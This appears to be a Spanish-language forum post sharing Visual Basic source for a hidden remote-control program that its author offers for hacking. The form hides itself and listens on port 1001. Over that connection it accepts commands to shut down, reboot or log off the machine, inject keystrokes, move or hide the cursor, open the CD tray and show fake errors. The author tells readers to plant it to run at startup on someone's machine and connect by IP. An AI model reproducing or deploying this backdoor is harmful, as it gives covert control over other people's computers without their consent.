Este programa hace varias cosas como mandar mensajes, apagar la compu, reiniciar , mandar teclas, abrir el cd, cerrar el cd, algunos errores, y demas se hace con el control de winsock....
Para usarlo pegas el codigo fuente (si le entiendes) lo compilas en .exe lo pones en una maquina por ejem. que lo abra cadaves que se inicie y nadamas con la ip de la maquina te conectas con el elnet o construir un cliente con vb y mandarle la instruccion.. el form contiene winsock1 labels,text es opcional le puedes quitar el codigo que sobre..
alguna info o platicar de hack mi msn
estoapesta007@hotmail.comesto en el form:
Public dat As String
Public dot As String
Const KEYEVENTF_KEYUP = &H2
Const VK_LWIN = &H5B
Private Sub Form_Load()
Form1.Hide
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub
Private Sub Text1_Change()
Winsock1.SendData Text1.Text & vbCrLf
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
Winsock1.SendData "Conectado....... " & vbCrLf
Winsock1.SendData "IP " & Winsock1.LocalIP & " Nombre del Host " & Winsock1.RemoteHost & vbCrLf
Winsock1.SendData "xdd 0.1 (by BANAC) " & vbCrLf
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.GetData dot
Dim res As Long, returnstring As String * 127
If Asc(dot) <> 13 Then
dat = dat + dot
End If
If Asc(dot) = 13 Then
If dat = "cd_abrir" Then
res = mciSendString("set CDAudio door open", returnstring, 127, 0)
Winsock1.SendData "acepto " & dat & vbCrLf
End If
If dat = "cd_cerrar" Then
res = mciSendString("set CDAudio door closed", returnstring, 127, 0)
Winsock1.SendData "acepto " & dat & vbCrLf
End If
If dat = "mensage" Then
w = MsgBox(" error 09000111222-E ", vbExclamation, "Error")
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "retro" Then
SendKeys "{BACKSPACE}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "inter" Then
SendKeys "{BREAK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "mayus" Then
SendKeys "{CAPSLOCK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "suprim" Then
SendKeys "{DELETE}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "abajo" Then
SendKeys "{DOWN}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "fin" Then
SendKeys "{END}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "enter" Then
SendKeys "{ENTER}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "esc" Then
SendKeys "{ESC}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "ayuda" Then
SendKeys "{HELP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "inicio" Then
SendKeys "{HOME}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "izquierda" Then
SendKeys "{LEFT}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "numlock" Then
SendKeys "{NUMLOCK}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "rpagina" Then
SendKeys "{PGDN}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "apagina" Then
SendKeys "{PGUP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "derecha" Then
SendKeys "{RIGHT}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "tabs" Then
SendKeys "{TAB}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "arriva" Then
SendKeys "{UP}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f1" Then
SendKeys "{F1}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f2" Then
SendKeys "{F2}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f3" Then
SendKeys "{F3}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f4" Then
SendKeys "{F4}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f5" Then
SendKeys "{F5}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f6" Then
SendKeys "{F6}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f7" Then
SendKeys "{F7}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f8" Then
SendKeys "{F8}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f9" Then
SendKeys "{F9}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f10" Then
SendKeys "{F10}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f11" Then
SendKeys "{F11}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "f12" Then
SendKeys "{F12}"
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "error_si" Then
Form1.BackColor = &HFF0008
Label2.Visible = False
Label1.Visible = True
Label3.Visible = False
Text1.Visible = False
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "error_no" Then
Label1.Visible = False
Label2.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "error_dossi" Then
Form1.BackColor = &H0&
Label1.Visible = False
Label2.Visible = True
Label3.Visible = False
Text1.Visible = False
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "error_dosno" Then
Label2.Visible = False
Label1.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "textosi" Then
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
Winsock1.SendData "Minimizado todo > " & dat & vbCrLf
Form1.BackColor = &H0&
Label1.Visible = False
Label2.Visible = False
Label3.Visible = True
Text1.Visible = True
Form1.Show
Form1.SetFocus
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "textono" Then
Label1.Visible = False
Label2.Visible = False
Label3.Visible = False
Text1.Visible = False
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "apagar" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x1")
Winsock1.Close
Unload Form1
End If
End If
If dat = "reiniciar" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x2")
Winsock1.Close
Unload Form1
End If
End If
If dat = "cerrarsecion" Then
Form1.Hide
If Dir("C:\WINDOWS\rundll32.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
Shell ("C:\WINDOWS\rundll32.exe shell32.dll,SHExitWindowsEx 0x0")
Winsock1.Close
Unload Form1
End If
End If
If dat = "note" Then
Form1.Hide
If Dir("C:\WINDOWS\NOTEPAD.exe") = "" Then
Winsock1.SendData "no encontro archivo " & dat & vbCrLf
Else
Winsock1.SendData "Acepto " & dat & vbCrLf
op = Shell("C:\WINDOWS\NOTEPAD.exe", vbNormalFocus)
End If
End If
If dat = "mini" Then
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
Winsock1.SendData "Minimizado todo > " & dat & vbCrLf
End If
ins = Left(dat, 3)
If ins = "sen" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
SendKeys (k)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If ins = "msg" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
MsgBox (k)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If ins = "cur" Then
j = Len(dat)
h = j - 4
k = Right(dat, h)
px = Left(k, 3)
py = Right(k, 3)
SetCursorPos px, py
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "puntno" Then
ShowCursor (False)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "puntsi" Then
ShowCursor (True)
Winsock1.SendData "Acepto " & dat & vbCrLf
End If
If dat = "ayuda" Then
Winsock1.SendData "inter" & vbCrLf
Winsock1.SendData "mayus" & vbCrLf
Winsock1.SendData "inicio" & vbCrLf
Winsock1.SendData "numlock" & vbCrLf
Winsock1.SendData "rpagina" & vbCrLf
Winsock1.SendData "apagina" & vbCrLf
Winsock1.SendData "abajo" & vbCrLf
Winsock1.SendData "fin" & vbCrLf
Winsock1.SendData "enter" & vbCrLf
Winsock1.SendData "esc" & vbCrLf
Winsock1.SendData "suprim" & vbCrLf
Winsock1.SendData "ayuda" & vbCrLf
Winsock1.SendData "retro" & vbCrLf
Winsock1.SendData "izquierda" & vbCrLf
Winsock1.SendData "derecha" & vbCrLf
Winsock1.SendData "tabs" & vbCrLf
Winsock1.SendData "cd_abrir" & vbCrLf
Winsock1.SendData "cd_cerrar" & vbCrLf
Winsock1.SendData "mini" & vbCrLf
Winsock1.SendData "mensage" & vbCrLf
Winsock1.SendData "arriva" & vbCrLf
Winsock1.SendData "f1 al f12" & vbCrLf
Winsock1.SendData "error_si" & vbCrLf
Winsock1.SendData "error_no" & vbCrLf
Winsock1.SendData "error_dossi" & vbCrLf
Winsock1.SendData "error_dosno" & vbCrLf
Winsock1.SendData "cerrar" & vbCrLf
Winsock1.SendData "Ayuda de bn8303 " & vbCrLf
End If
If dat = "ayuda+" Then
Winsock1.SendData "apagar <apaga la compu>" & vbCrLf
Winsock1.SendData "reiniciar <renicia la compu>" & vbCrLf
Winsock1.SendData "cerrarsecion <cierra secion>" & vbCrLf
Winsock1.SendData "note <bloc de notas>" & vbCrLf
Winsock1.SendData "mini <minimiza todo>" & vbCrLf
Winsock1.SendData "sen_(pulsaciones de letras) <manda la pulsacones>" & vbCrLf
Winsock1.SendData "msg_(mensage) <manda mensage>" & vbCrLf
Winsock1.SendData "puntno <oculta el cursor" & vbCrLf
Winsock1.SendData "puntsi <muestra el cursor>" & vbCrLf
Winsock1.SendData "cur_(xxxyyy)" & vbCrLf
Winsock1.SendData "Ayuda+ de bn8303 " & vbCrLf
End If
Winsock1.SendData "BANAC? " & dat & vbCrLf
If dat = "cerrar" Then
Form1.Hide
Winsock1.SendData "Acepto " & dat & vbCrLf
Winsock1.Close
Unload Form1
End If
dat = ""
End If
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Winsock1.LocalPort = 1001
Winsock1.Listen
End Sub
y en un modulo que contiene algunas funciones:
Declare Function mciSendString Lib "winmm.dll" Alias _
"mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long
Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
alguna duda al correo si le quieres agregar algo ponerlo aqui....
by banac(guio)